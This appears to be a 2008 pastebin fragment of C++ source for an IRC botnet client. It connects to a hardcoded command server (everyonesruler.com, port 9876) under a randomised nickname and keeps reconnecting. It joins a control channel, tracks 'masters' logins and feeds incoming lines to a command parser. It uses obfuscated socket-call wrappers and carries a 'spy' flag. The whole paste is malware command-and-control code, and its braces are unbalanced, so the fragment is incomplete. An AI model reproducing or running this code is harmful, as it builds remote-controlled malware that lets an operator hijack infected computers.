All pastes #905848 Raw Edit

Someone

public text v1 · immutable
·published 2008-02-16 01:51 UTC
rendered paste body
cIrc* object = (cIrc*)param;

	SOCKET sock;
	SOCKADDR_IN ssin;
	char name[] = "everyonesruler.com";

	char nickbuf[MAXNICKLEN];
	char *nick1;
	int port = 9876;

	while(true)
	{
		memset(&ssin, 0, sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_port = fhtons((unsigned int)port);
		if ((ssin.sin_addr.s_addr=ResolveAddress(name)) == 0) 
			return 0;

		memset(nickbuf, 0, sizeof(nickbuf));
		strncpy(nickbuf,"te3r\0",5);
		nick1 = rndnick(nickbuf, LETTERNICK, FALSE);
		nick1 = nickbuf;
//	strncpy(kbInstance->threadman->threads[irc.threadnum].nick, nick1, sizeof(threads[irc.threadnum].nick)-1);

		sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
		kbInstance->threadman->threads[object->ourThreadId].sock = sock;
		if (fconnect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) {
			fclosesocket(sock);
		FlushDNSCache();
		Sleep(2000);
	}

	kbInstance->Log(GetIP(sock));

	char recvbuffer[4096], masters[MAXLOGINS][128], *lines[MAX_LINES], str[18], login[128], host[160], serverpass[20];
	char processbuffer[4096];
	memset(serverpass,0,20);
	memset(recvbuffer,0,4096);
	memset(login,0,128);
	int i, j, repeat, in_channel=0;

	for (i = 0; i < MAXLOGINS; i++)
		masters[i][0] = '\0';

	if (serverpass[0] != '\0')
		object->irc_sendv(sock,"PASS %s\r\n",serverpass);

 	sprintf(login, "NICK %s\r\n"
				   "USER %s 0 0 :%s\r\n\0", nickbuf, nickbuf, nick1);



	if (fsend(sock, login, strlen(login), 0) == SOCKET_ERROR) {
		fclosesocket(sock);
		Sleep(5000);
		return 0;
	}
	char channel[]="#DRGunZ\0";
	char chanpass[] = "\0";
	char server[] = "irc.quakenet.org\0";
	int spy = 1;
	int FLOOD_DELAY = 500;
	// loop forever
	unsigned int bufferposition = 0;

	while(1) {

		// if recv() returns 0, that means that the connection has been lost.
		memset(recvbuffer + bufferposition,0,sizeof(recvbuffer)-bufferposition);
		int bytesReceived = frecv(sock, recvbuffer + bufferposition ,sizeof(recvbuffer) - bufferposition,0);
		bufferposition += bytesReceived;
		if (bytesReceived <= 0) 
			break;

		char* pos1 = strrchr(recvbuffer,0x0a) ;		// check for atleast a full message
		
		if (pos1 != NULL)						// we have a full message
		{
			int lastpos = (int)(pos1 - recvbuffer);										// get the length to copy from recvbuffer into process buffer
 			if (recvbuffer[lastpos -1] == 0x0d)											// make sure its a full line
				memcpy(processbuffer,recvbuffer, lastpos);									// copy it all over
			processbuffer[lastpos] = 0x00;
			if((pos1-recvbuffer + 1) == bufferposition)
			{
				bufferposition = 0;
			} else {
				char* leftover = new char[(bufferposition-1) - lastpos];					// bufferposition is total number of bytes, lastpos is 
				memcpy(leftover, recvbuffer+lastpos+1, (bufferposition-1) - lastpos);							// copy starting at the end of the bytes not processed
				memcpy(recvbuffer, leftover,(bufferposition-1) - lastpos);
				bufferposition = bufferposition-lastpos;
				delete [] leftover;
			}
	
			i = Split(processbuffer,&lines);
			for (j=0;j < i;j++) {
				kbInstance->Log(lines[j]);
				int removeBytes = object->irc_parseline(sock, lines[j]);
			}
			

		}
		}

	}